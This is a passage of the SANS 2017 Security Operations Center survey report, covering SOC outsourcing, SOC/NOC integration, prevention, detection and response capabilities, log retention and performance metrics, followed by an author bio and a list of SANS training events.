planning, architecture and administration in-house 78% SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 8The leading activities for which organizations rely on outsourced services, either totally or in conjunction with internal resources, are threat research (44%), digital forensics (38%), security monitoring and detection (35%), and e-discovery and legal evidence collection (33%). See Figure 6. When outsourcing is done well, the upside of a managed/cloud resource is the availability of data from a cross-section of industries and systems from the central vantage point of the managed security service provider (MSSP). The managed service analysts have different environments from which to learn and gain visibility into threats. The downside is reduced customization. If the organization isn’t acting in response to the enhanced visibility, intelligence and use cases, it doesn’t actually benefit from outsourcing. Future SOC: SANS 2017 Security Operations Center SurveyWhat activities are you handling in-house? What activities have you outsourced, either totally or in part, to outside services through a managed security service provider (MSSP) or in the cloud? Check only those that apply to your organization. Security administration Security monitoring and detection Remediation Security roadmap and planning Threat research eDiscovery and legal evidence collection OtherIncident response Compliance support Security architecture and engineering Digital forensics Figure 6. In-House Versus Outsourced SOC Activities0% 40% 20% 60% 80% 100% Both Outside Services (MSSP , Cloud) In-House TAKEAWAY The best use of outsourcing is to augment the organization’s competencies, which is what organizations are mostly using cloud services for. SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 9SOC and NOC Respondents described the SOC relationship to the NOC in multiple ways. There was separation (43%), which included no NOC, no relationship to the NOC and little direct communication. And there was integration to various degrees: 21% work together during emergencies, 20% work together but are not technically integrated, and only 12% are integrated technically (see Figure 7). Interaction between the SOC and NOC presents an opportunity for organizations to improve their detection and response capabilities, given that the SOC and NOC have similar objectives: protecting the information assets of the organization and keeping the business running. In many organizations, separation of duties creates silos of visibility. In the 2017 SANS survey on security integration and optimization, more than 80% of respondents cited significant barriers in reporting, visibility into risk posture and the ability to detect new threats as their top three concerns with respect to lack of integration in their security and response functions.3 Lack of management buy-in and staffing is also holding them back. Without management support and action, silos will continue to hamper the free sharing of information between SOC, NOC and response personnel. Establishing standard operating procedures with service-level agreements for the NOC to perform containment actions during incident response is a good use of resources that are already empowered to make operational changes to the network. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY Establish communication requests from the SOC to the NOC for visibility into the ongoing performance of the network, facilitating deconfliction of security incidents from operational problems.What is your SOC’s relationship to your network operations center (NOC)? Figure 7. SOC and NOC Relationship There is no relationship. We don’t have a NOC. Our SOC and NOC teams have very little direct communication. Our SOC and NOC teams only work together when there are emergencies. Our NOC team is an integral part of our detection and response, although our SOC and NOC activities are not technically integrated. Our NOC team and SOC team are kept well-informed through integrative dashboards with shared information, APIs and workflow, where needed. Other 3 “Integrating Prevention, Detection and Response Workflows: SANS Survey on Security Optimization, ” April 2017, www.sans.org/reading-room/whitepapers/analyst/integrating-prevention-detection-response-work-flows-survey-security-optimization-37730 SOC Capabilities SANS ANALYST PROGRAM 10SOCs carry a lot of responsibility for organizational success, and as such, the capabilities they provide are continuing to grow. Based on responses, there is a lot of crossover between prevention and detection capabilities, while response operations differ greatly. For example, network intrusion detection and response were equally important for detection and prevention, while endpoint detection and response (EDR) was the most used capability for response. There are also some variations: Security information and event management (SIEM) is being used more often for detection and less for prevention—for example, threat intelligence is utilized slightly more for detection than prevention. As suggested earlier in the architecture section of this paper, SOCs are beginning to combine cloud-based services with their own internal services, and responses show that services are used far more for prevention and detection capabilities. For example, more than 50% of respondent organizations are using some cloud-based services for penetration testing and threat intelligence for their prevention capabilities, while 10% fewer, on average, are using the two services for detection. The highest uses of cloud for detection were denial of service and distributed denial of service (DDoS) at just over 40%; intelligence was the second highest use of cloud-based services for detection at just under 40%. Meanwhile, cloud services are used far less for response capabilities, where, with the exception of reverse engineering of malware, cloud services are utilized in less than 25% of respondents’ organizations. Future SOC: SANS 2017 Security Operations Center Survey SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 11Prevention? More than 71% of SOCs provide the top 17 prevention capabilities listed in Figure 8, either internally, through a SOC service or a combination of both. A preventive capability attempts to stop an attack from being successful. In the survey, 91% use in-line network intrusion detection and prevention systems (NIPS) to prevent attacks from succeeding. NIPS are the preventive component of this type of tool. This group of capabilities represents the network-based inspection of traffic content for unwanted actions and the termination of communication once inappropriate content or communications are identified. Future SOC: SANS 2017 Security Operations Center SurveyWhat type of prevention capabilities are provided by your SOC? Please indicate whether these services are provided by an internal SOC, a SOC service (including cloud-based) or both. Leave blank those that don’t apply. Network intrusion detection system (IDS)/Intrusion prevention system (IPS) Web proxyNetwork traffic monitoring Malware protection system (MPS)Vulnerability remediation Web application firewall (WAF)SIEM Malware detonation device (inline malware destruction)Threat intelligence Deception technologiesAsset discovery and inventory OtherContinuous vulnerability assessment or monitoringLog management DoS and DDoS detection and mitigationAccess protection and control/VPN/Net Next-generation firewall (NGFW)Penetration testing Data loss preventionEndpoint monitoring and logging Application whitelisting Figure 8. Prevention Capabilities Provided by SOCs0% 40% 20% 60% 80% 100% Service Both Internal SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 12Unfortunately, other network-based prevention tools such as next-generation firewalls (NGFWs) and web application firewalls (WAFs) are trailing near the end of the capabilities provided by SOCs, even though these are just as critical. WAFs are the most specific type of network intrusion prevention, protecting only web applications, which is the probable cause of the lower adoption rate. But the general- purpose NIPS and NGFWs are ill-equipped to deal with custom web applications. Cloud Services Preventing? Of the 20 preventive controls listed in Figure 8, not including “Other, ” less than 10% use 14 of those controls as services. Three answers were 10% to 20% service only, while another three had over 20% service only. Then the picture emerges that the top three SOC functions used solely as services are penetration testing (26%), DoS/DDoS mitigation (23%) and threat intelligence (21%). These three functions stand out as being far more likely to be outsourced than any of the other control capabilities, given their areas of specialization. They were also the top three in the “both” category of outsourced and internal capabilities but in slightly different order: threat intelligence (31%), penetration testing (28%) and DoS/DDoS mitigation (25%). The least chosen preventive capabilities offered in the SOC include deception capabilities (42%) and application whitelisting (66%). Whitelisting Isn’t Easy Application whitelisting is primarily a preventive tool, and there are some detective benefits as well. Yet, in our experience, SOCs are opting not to use application whitelisting because of the overhead of operations in establishing and maintaining the lists. In most environments, the tool to deploy application whitelists is already owned via enterprise versions of Microsoft Windows with AppLocker, available since Windows 7. Many endpoint protection suites also provide the ability to restrict execution. In most IT environments, whitelisting is difficult to maintain and keep up to date. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY SOCs are inclined to deploy a general-purpose preventive tool with broad coverage capabilities that may be lacking in quality in a preventive arrangement where false positives are intolerable. This creates evasion opportunities for attackers, making it a poor strategy. The better approach is to deploy tuned and targeted prevention tools and develop use cases for detection based on threat intelligence and understanding of deployed systems. SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 13Detection? In the survey, 82% of respondents said their SOCs deploy Windows event log monitoring, while 84% use SIEM reporting and analytics; 86% cited log management and network intrusion detection and prevention as their top detection tools. These are baseline detection controls that everyone is familiar with. See Figure 9. Future SOC: SANS 2017 Security Operations Center SurveyWhat type of detective capabilities are provided by your SOC? Please indicate whether these services are provided by an internal SOC, a SOC service (including cloud-based) or both. Leave blank those that don’t apply. Network intrusion detection and prevention Web application firewall (WAF)SIEM reporting and analytics Egress filteringRisk analysis and assessment Threat huntingApplication log monitoring eDiscovery (support legal requests for specific information collection)DNS log monitoring Deception technologies to use against attackersCustomized or tailored SIEM use-case monitoring AI or machine learning OtherDoS or DDoS protectionLog management Endpoint or host-based detection and response (EDR)Windows event log monitoring Netflow analysisThreat Intelligence SSL/TLS traffic inspectionPacket analysis Frequency analysis for network connections Figure 9. Detection Capabilities0% 40% 20% 60% 80% Service Both Internal SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 14Windows event log monitoring involves potentially overwhelming amounts of data to monitor the health and status of a system. To deal with the overload, a few strategies can be employed. First, organizations can employ targeted inspection for indicators of interest, usually from threat intelligence. This should be applied historically as new threat intelligence comes to light. A second option is threat hunting by analysts for relationships that might not be identified through automated correlation. This process is time consuming, but it’s necessary for long-term improvement. Finally, SOCs can use system-provided correlation to identify scenarios of anomalies for detection and validation. This is also called use-case development, and this automation of correlation should be an output from threat hunting exercises. Responding to the Call? Most people think of incident response as the manifestation of the defense of the organization. In practice, we can respond only when we detect. This is where threat intelligence tools—such as adversary deception, threat campaign tracking, threat attribution and threat neutralization—should be used most. Yet these functions score lowest on the list of response capabilities SOCs offer. See Figure 10. Future SOC: SANS 2017 Security Operations Center SurveyCloud Services Detecting? As you can see from Figure 9 (on the previous page), respondent organizations are adopting even fewer cloud services for their detection functions. But the ones that do stand out—DoS/DDoS detection and threat intelligence—make sense, given that most intelligence providers are third parties and you need to externally choke off DoS attacks before they disrupt business. SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 15 Endpoint Focus Endpoints are the focus of many response capability scenarios, according to SANS surveys, which indicates that user-owned endpoints, in particular, represent the initial point for compromises.4 Endpoints also represent the “untrusted but internal” users of an organization who are at risk of falling for phishing, being infected by drive-by downloads or carrying application vulnerabilities on their devices. Future SOC: SANS 2017 Security Operations Center SurveyWhat response services does your SOC perform? Please indicate whether these services are performed by an internal SOC staff, an outsourced SOC service, or both. Only select those that apply to your organization. Figure 10. SOC Response Services Endpoint detection and response (EDR) Reverse engineering of malwareHost-based forensic analysis Threat attributionAdversary containment Adversary deceptionPlaybook-based response actions OtherConstituent communications Adversary interruption Threat neutralizationNetwork forensic analysis Public relations coordinationCommand center Threat campaign trackingCustomer interaction (call center) Hardware reverse engineeringWorkflow-based remediation 0% 40% 20% 60% SOC Service Both Internal SOC 4 ”Next-Gen Endpoint Risks and Protections: A SANS Survey, ” March 2017, www.sans.org/reading-room/whitepapers/analyst/next-gen-endpoint-risks-protections-survey-37652 SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 16In the case of user endpoints, containment and remediation are easier because there is only a single user impacted by the remediation process. On servers, there is typically a larger community of employees or customers that the containment action affects, sometimes with an unacceptable availability interruption. Cloud Services Responding? SOCs use cloud-based services far less for response capabilities, which survey takers indicated is mostly done in-house. This makes sense, given that most tool vendors follow events and provide advice, maps and even patches. But remediation and other response functions are generally up to the impacted organizations to handle. Organizations most commonly outsourced reverse engineering, likely because specialization is required and it is infrequently needed to perform incident response. Monitoring Things? Interestingly, the Internet of Things (IoT)—all the stuff that’s connected to computer networks that isn’t a traditional user system like a phone or a laptop—is not getting much SOC coverage. See Figure 11. Only 9% said they support all organizational IoT systems, while 21% currently have no plans for their SOC to support smart systems. The most common answer was that currently there’s partial coverage (24%). Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY SOCs need to act as the equivalent to “911” for computer emergencies. They should have clear means for customers to report issues. Yet in the survey, only 65% of respondents said they have this capability in any form. Does your SOC support nontraditional computing devices (Internet of Things, such as smart sensors, building devices, building monitoring, manufacturing and industrial control systems, etc.)? Other We haven’t assessed and inventoried smart system yet, but we plan to. Yes. Our SOC supports all of our smart systems deemed at risk.Unsure No. We have no plans to support smart systems. Partly. Our SOC supports some of our connected, at-risk smart systems. Figure 11. SOC Support of Nontraditional Computing Devices0% 10% 5% 15% 20% Now In the Next 24 Months 25% SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 17Logging? Central collection and aggregation of all logs and longer retention times (even if it takes a long time to access the logs) facilitates effective monitoring, cyber threat intelligence and threat hunting. Further, logs facilitate the root-cause inspection of compromises that started well before the initial detection. Yet, according to respondents, only 9% are centralizing 100% of their logs, while the largest group (26%) centralize 51% to 75% of logs, as illustrated in Figure 12. Operating without all available data is an often-encountered situation in incident response activity. There are a few possible explanations for not centralizing 100% of logs, including: • The technical challenge of getting all the data to a single place. Network bandwidth can be expensive, and shipping log data is frequently foregone. • The political challenge in receiving the logs. Considering that many SOCs serve in an advisory role rather than a technical analytical capacity, they receive data only when some subordinate part of the organization requests assistance and shares specific data. • The space limitation challenge of retaining logs. Most SOCs retain and store logs for a limited duration, which is discussed next. Future SOC: SANS 2017 Security Operations Center SurveyWhat percentage of logs, including all application-, network-, host- and infrastructure-related logs, are centrally collected by your SOC? Figure 12. Centralization of Logs 0–25% 26–50% 51–75% 76–99% 100% UnknownSome 9% of SOCs fully aggregate logs centrally, even though 61% of respondents said they’re currently “centralized into a single SOC. ” Even SOCs that are “centralized” often don’t centralize log data. 9% 61% SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 18Of the logs that are being retained for the SOC, 57% of regulated data is retained for one year or less, while 42% of unregulated data is retained for one year or less. This is adequate if the incidents being investigated are fully wrapped up within one year. Unfortunately, industry studies such as Verizon’s 2016 data breach report and SANS surveys show there is a longer duration than one year before discovery in many instances.5, 6 Making Sense? In the survey, 77% of respondents said their SOCs are using SIEM tools to stitch together the disparate sources and look for patterns. This is a costly proposition, but usually more cost-effective than custom, internally developed APIs and dashboards, which 23% of respondents said they are using. See Figure 13. As with most of our questions, respondents were able to select all that apply so there is some overlap, reflecting the real-world environments in which teams use multiple tools to perform analytics functions. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY: Collection of information is valuable for the purpose of correlation. Aggregating massive amounts of data to look for anomalies is what the SOC does as a matter of ongoing operations. How does your SOC correlate and analyze event data, IOCs and other security- and threat-related data? Select those that most apply. Don’t always know—it all happens in the cloudOther Through a threat intelligence platform Through our SIEM (security information event manager) Through home-developed APIs and dashboards Through our aggregated log management systems Figure 13. Data Correlation and Analysis Methodologies0% 20% 40% 60% 80% 5 “2016 Verizon Data Breach Investigations Report, ” www.verizonenterprise.com/verizon-insights-lab/dbir 6 “Incident Response Capabilities in 2016: The 2016 SANS Incident Response Survey, ” June 2016, www.sans.org/reading-room/whitepapers/analyst/incident-response-capabilities-2016-2016-incident-response-survey-37047 SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 19There are many specialized systems in place to assist with pattern matching and guidance. For example, cyber threat intelligence (CTI) platforms, selected by 38% of respondents as part of their SOC capability, have created opportunities to correlate information. Their ongoing collection of attacker behavior helps analysts seek out indicators, such as: • IP addresses • SMTP gateways • Malware programming techniques • Commonly employed adversary tactics• Adversary working hours • Preferred targets In the survey, 38% of respondents said they are using log collection and aggregation tools to analyze their event data. Or, as one respondent candidly responded, they correlate through “luck, mostly. ” SIEM tools tend to have a challenge with massive amounts of data because they attempt to process everything as it is ingested. On the other hand, log aggregation maintains a raw collection of data, with analytical processing happening as needed. Threat hunting is an area of responsibility for the SOC. Even with an armada of equipment and software, analysts must tune that technology to suit the organization’s changing IT landscape, as well as the adaptive threat environment. The adversaries defrauding and damaging organizations are human. Adversaries are adaptive, motivated and profitable. Some SOCs are embracing threat hunting as a part of standard operations. Responses show that organizations are using multiple platforms to help with the correlation, meaning there are multiple platforms and consoles from which analysts collect, correlate and remediate. Threat hunting with automated data collection and correlation improves the speed with which analysts can investigate and remediate unknown threats. For known threats, inclusion of learned intelligence in correlation engines is the way to improve accuracy and performance. Future SOC: SANS 2017 Security Operations Center SurveyHunting Means Looking for Something The lucky ones are those who are looking for something rather than waiting for it to find them. This involves collecting data (registry, process, file, user, etc.) and correlating it to find suspicious behavior in your enterprise environment. Every correlation and use case built into EDR, SIEM and incident response platforms or homegrown tools stems from an analyst investigating something that is a bit off. SOCs are clearly on their toes for incident definition. In this survey, only 17% of respondents lack a formal definition of what an incident is or is not, which is an important starting measurement for defenders and analysts alike (see Figure 14). The prospect of running a SOC without a formal definition of what is appropriate to detect or respond to represents a major obstacle to effective SOC operation. Most organizations (45%) do have a formal definition with specific impact categories. The next largest group uses a less formal approach: “any adverse event above the normal level of noise. ” Even the 2% who stated their organization purposefully avoids the term incident because it would trigger legal action know what they’re trying to avoid. This represents an interesting but not uncommon problem. All SOCs must conform to the legal guidance provided by the organization, and there are specific actions that might be very expensive for the organization. This legal maneuvering takes care and caution. The danger is when the legal caution prevents the SOC from doing optimal work. SANS ANALYST PROGRAM 20Metrics and Performance Which of these most closely resembles your organization’s definition of a security incident? Figure 14. Organizational Definitions of “Incident” We have no formal definition of a security incident. An incident is any adverse event or the threat of an adverse event above the normal level of noise. An incident is a cyber intrusion that impacts our systems and causes direct or indirect financial damage to us or our clients/customers. There are multiple specific incident types and impact levels that are formally defined as an incident in our organization. The organization doesn’t use the term incident, because that would trigger regulatory or industrial reporting requirements it wants to avoid. We haven’t sorted out the difference in the definitions of an incident, a breach and a threat, but we are hoping to. Other Future SOC: SANS 2017 Security Operations Center SurveyAn incident is “an observed and declared occurrence of the compromise or imminent compromise of our system. ” —Survey respondent Metrics and Performance (CONTINUED) SANS ANALYST PROGRAM 21Assessing the SOC? Ed Koch, former mayor of New York, was well known for a persistent and affable request for performance metrics. At press conferences, he often asked, “How ’m I doing?” Yet, according to the survey, only 57% of respondents know they have SOC metrics. The rest either answered “no” or “unknown” as to whether metrics are available. That means 43% of the SOCs don’t know “how they’re doing, ” and they’re not actually asking the necessary questions to find out. See Figure 15. As survey results show, compiling metrics involves a substantial amount of manual work, with 69% of respondents saying the process is either a substantial or completely manual effort. See Figure 16. Future SOC: SANS 2017 Security Operations Center SurveyDoes your SOC provide metrics that can be used in your reports and dashboards to gauge the ongoing status of and effectiveness of your SOC’s capabilities? Figure 15. Use of Metrics Yes No UnknownTAKEAWAY: Not attempting to measure your SOC’s operational performance is a lot like trying to land an airplane without the benefit of an altimeter: An accurate measure of an important attribute of the distance between the plane and the earth helps to assure the plane will land safely. Manual vs. Automated Metrics Condensed Results Figure 16. Manual Versus Automated Effort to Produce Metrics Substantial manual effort Substantially or completely manualPrimarily or fully automated 0% 20% 10% 30% 40% 50% Metrics and Performance (CONTINUED) SANS ANALYST PROGRAM 22If you compare this with Jaquith’s assertion of what a metric should be, we see that the manual components are not in alignment with the ideal state: “consistently measured, without subjective criteria; cheap to gather, preferably in an automated way…. ”7 The key is to equip the systems for data collection and compile the data on an ongoing basis to see what the SOC is doing and how well it is doing it. Figure 17 shows how the 57% of respondents who are collecting metrics are tracking and reporting on them. Future SOC: SANS 2017 Security Operations Center SurveyHow are metrics tracked and reported? Partially automated data extraction, with substantial manual effort required, and partially automated calculation Completely manual process requiring extraction of data from multiple sources and mostly manual calculation OtherPrimarily automated, with minimal manual effort to complete reporting Fully automated via an integrated dashboard, with complete, ongoing visibility into SOC performance metrics Figure 17. How SOCs Track and Report Metrics0% 20% 10% 30% 40% 50% Security Expert on Metrics “A good metric should be: consistently measured, without subjective criteria; cheap to gather, preferably in an automated way; expressed as a cardinal number or percentage, not with qualitative labels like “high, ” “medium” and “low”; expressed using at least one unit of measure, such as “defects, ” “hours” or “dollars. ” Ideally it should also be “contextually specific, relevant enough to decision-makers so that they can take action. ” It’s a simple analogy. Anyone can relate. But we frequently lack such simple metrics for SOCs. 8 7 Jaquith, Andrew. Security Metrics: Replacing Fear, Uncertainty, and Doubt. Upper Saddle River, NJ: Addison-Wesley, 2010. p. 22. 8 Jaquith, Andrew. Security Metrics: Replacing Fear, Uncertainty, and Doubt. Upper Saddle River, NJ: Addison-Wesley, 2010. p. 22 Metrics and Performance (CONTINUED) SANS ANALYST PROGRAM 23Metrics Tracked Primarily, those organizations that do track metrics are looking at how many times they respond to an incident, followed by whether or not those occurrences were based on a known threat and time to contain. See Figure 18 for a full list of metrics respondents are tracking. Interestingly, there’s a sense of “enforcement” and “meeting an objective” with the number of incidents handled. Attackers determine how many times they will attack— it’s not in the security options purview of control. While an important measure of the activity of the SOC, a simple number of incidents isn’t “contextually specific, relevant enough to decision-makers so that they can take action. ” Perhaps the count is used as a moving average display? If so, that’s much more useful. That’s the sort of display of collected data that provides contextual relevance: It would identify change in volume of incidents. Future SOC: SANS 2017 Security Operations Center SurveyMetrics Collected Number of incidents handled OtherTime from detection to containment to eradication Incident avoidance (could the incident have been avoided with common security practices in place?) Thoroughness and accuracy of enterprise sweeping (check all information systems for IOCs) Thoroughness of eradication (no reoccurrence of original or similar compromise) Monetary cost per incident Losses accrued vs losses preventedIncident occurrence due to known vulnerability vs. unknown Time to discover all impacted assets and users Downtime for workers or duration of business outage per incident Threat actor attribution Figure 18. Metrics Collected0% 40% 20% 60% 80% 100% Used Enforced Consistently Met All Three Most Important Metrics The most important metrics to the SOC are time-based measures: time to detection, time to containment from detection and time to eradication from detection. Of course there are many others that are important, but these three get to the crux of SOC functionality. The data source can be a ticketing system or any action-tracking software. The label is “hours. ” It meets Jaquith’s guidance for consistently measured, as all tickets opened would be tracked. Metrics and Performance (CONTINUED) SANS ANALYST PROGRAM 24Satisfaction with Performance Those collecting metrics are most satisfied with their own flexibility of response. See Figure 19. Addressing unknown problems means discovering them. This entails unveiling what appears to be normal as actually problematic. Taking this step includes looking for malicious activity via log review, etc. Second, this entails analysis using externally provided information, as well as developing internal threat information via threat hunting. Respondents are most satisfied with their SOC’s flexibility response. While it is common advice to be flexible, and this is very important, routines and automation are methods for efficiency and speed, which are represented by the second-most satisfied response, “Overall response time. ” Speed of discovery and satisfaction with discovering likely incidents in advance is an advisable strategic and tactical objective. This likely takes the form of more organizational awareness, which leads to better SIEM use cases, which is further informed by threat intelligence. Future SOC: SANS 2017 Security Operations Center SurveyPercent Satisfied Versus Percent Answered Other Configurability of toolsSOC-NOC coordination and effectiveness Effectiveness and thoroughness of containmentClarity of reports Flexibility of responseFalse positive rates Time to detect Remediation time Thoroughness of remediationAbility to detect previously unknown attacks Accuracy of detectionTime to deflect or disrupt attacks and abuse Overall response timeWorkflow Time to contain attacks Figure 19. Satisfaction with Metrics0% 40% 20% 60% 80% 100% Percent Satisfied Percent Reported as Measured If the “Satisfied” rankings were a report card, our parents would be disappointed. Conclusion SANS ANALYST PROGRAM 25The SOC is a new and developing space architected in many ways across organizations with some consensus on what should be done: log, monitor, correlate and respond. The notion of an incident seems to be clear in the SOC, yet performance assessment capability and alignment to business appears lacking and is an important area for improvement. The survey highlights that a lot of SOC data collection and analysis is done via manual methods, meaning the need to sift through and correlate hundreds of events every day. Automation of data collection and analysis can empower SOC teams to deal with the overwhelming number of alerts with confidence. Results also show that many organizations are moving some portion of their SOC to managed service providers. This model seeks efficiency by transferring tasks to a third party, but it risks diminishing the tailored actions and localized knowledge associated with the needs of the business. The use of clearly articulated metrics to express performance offers an opportunity to improve SOCs. Development of useful metrics requires reuse of available data and selection of performance criteria that are valuable to the specific business needs and measure the effectiveness of the SOCs detection and remediation activities. Metrics are challenging, however, because there’s not always a consensus on what makes good metrics within the SOC. Another opportunity for enhancement is more effective collaboration between NOCs and SOCs. Organizations have been performing IT operations for a long time, while SOCs typically are newer phenomena. The SOC and NOC can share data access to help IT operations make effective architecture decisions and to help the SOC make effective containment and monitoring decisions. Hunting and correlation are other areas organizations should improve on over the next 24 months. The alchemical formula for completely effective SOCs won’t be cracked in the immediate future. But over the course of the next year, we will likely see a better community consensus of what a SOC is. Future SOC: SANS 2017 Security Operations Center Survey Christopher Crowley, a principal SANS instructor and course author for SANS courses in Managing Security Operations and Incident Response Team Management, holds multiple certifications. He received the SANS 2009 Local Mentor of the Year award for excellence in providing mentor classes to his local community. Chris is a consultant based in Washington, D.C., who has more than 15 years of experience in managing and securing networks. His areas of expertise include network and mobile penetration testing, mobile device deployments, security operations, incident response and forensic analysis. SANS ANALYST PROGRAM26About the Author Sponsors SANS would like to thank this survey’s sponsors: Future SOC: SANS 2017 Security Operations Center Survey Last Updated: September 12th, 2017 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS London September 2017 London, GB Sep 25, 2017 - Sep 30, 2017 Live Event SANS Copenhagen 2017 Copenhagen, DK Sep 25, 2017 - Sep 30, 2017 Live Event Data Breach Summit & Training Chicago, ILUS Sep 25, 2017 - Oct 02, 2017 Live Event Rocky Mountain Fall 2017 Denver, COUS Sep 25, 2017 - Sep 30, 2017 Live Event SANS SEC504 at Cyber Security Week 2017 The Hague, NL Sep 25, 2017 - Sep 30, 2017 Live Event SANS DFIR Prague 2017 Prague, CZ Oct 02, 2017 - Oct 08, 2017 Live Event SANS Oslo Autumn 2017 Oslo, NO Oct 02, 2017 - Oct 07, 2017 Live Event SANS October Singapore 2017 Singapore, SG Oct 09, 2017 - Oct 28, 2017 Live Event SANS Phoenix-Mesa 2017 Mesa, AZUS Oct 09, 2017 - Oct 14, 2017 Live Event Secure DevOps Summit & Training Denver, COUS Oct 10, 2017 - Oct 17, 2017 Live Event SANS Tysons Corner Fall 2017 McLean, V AUS Oct 14, 2017 - Oct 21, 2017 Live Event SANS Brussels Autumn 2017 Brussels, BE Oct 16, 2017 - Oct 21, 2017 Live Event SANS Tokyo Autumn 2017 Tokyo, JP Oct 16, 2017 - Oct 28, 2017 Live Event SANS Berlin 2017 Berlin, DE Oct 23, 2017 - Oct 28, 2017 Live Event SANS Seattle 2017 Seattle, WAUS Oct 30, 2017 - Nov 04, 2017 Live Event SANS San Diego 2017 San Diego, CAUS Oct 30, 2017 - Nov 04, 2017 Live Event SANS Gulf Region 2017 Dubai, AE Nov 04, 2017 - Nov 16, 2017 Live Event SANS Miami 2017 Miami, FLUS Nov 06, 2017 - Nov 11, 2017 Live Event SANS Amsterdam 2017 Amsterdam, NL Nov 06, 2017 - Nov 11, 2017 Live Event SANS Milan November 2017 Milan, IT Nov 06, 2017 - Nov 11, 2017 Live Event SANS Sydney 2017 Sydney, AU Nov 13, 2017 - Nov 25, 2017 Live Event Pen Test Hackfest Summit & Training 2017 Bethesda, MDUS Nov 13, 2017 - Nov 20, 2017 Live Event SANS Paris November 2017 Paris, FR Nov 13, 2017 - Nov 18, 2017 Live Event SANS London November 2017 London, GB Nov 27, 2017 - Dec 02, 2017 Live Event SANS San Francisco Winter 2017 San Francisco, CAUS Nov 27, 2017 - Dec 02, 2017 Live Event SIEM & Tactical Analytics Summit & Training Scottsdale, AZUS Nov 28, 2017 - Dec 05, 2017 Live Event SANS Khobar 2017 Khobar, SA Dec 02, 2017 - Dec 07, 2017 Live Event SANS Austin Winter 2017 Austin, TXUS Dec 04, 2017 - Dec 09, 2017 Live Event SANS Munich December 2017 Munich, DE Dec 04, 2017 - Dec 09, 2017 Live Event European Security Awareness Summit 2017 London, GB Dec 04, 2017 - Dec 07, 2017 Live Event SANS Frankfurt 2017 Frankfurt, DE Dec 11, 2017 - Dec 16, 2017 Live Event SANS Bangalore 2017 Bangalore, IN Dec 11, 2017 - Dec 16, 2017 Live Event SANS Baltimore Fall 2017 OnlineMDUS Sep 25, 2017 - Sep 30, 2017 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced ---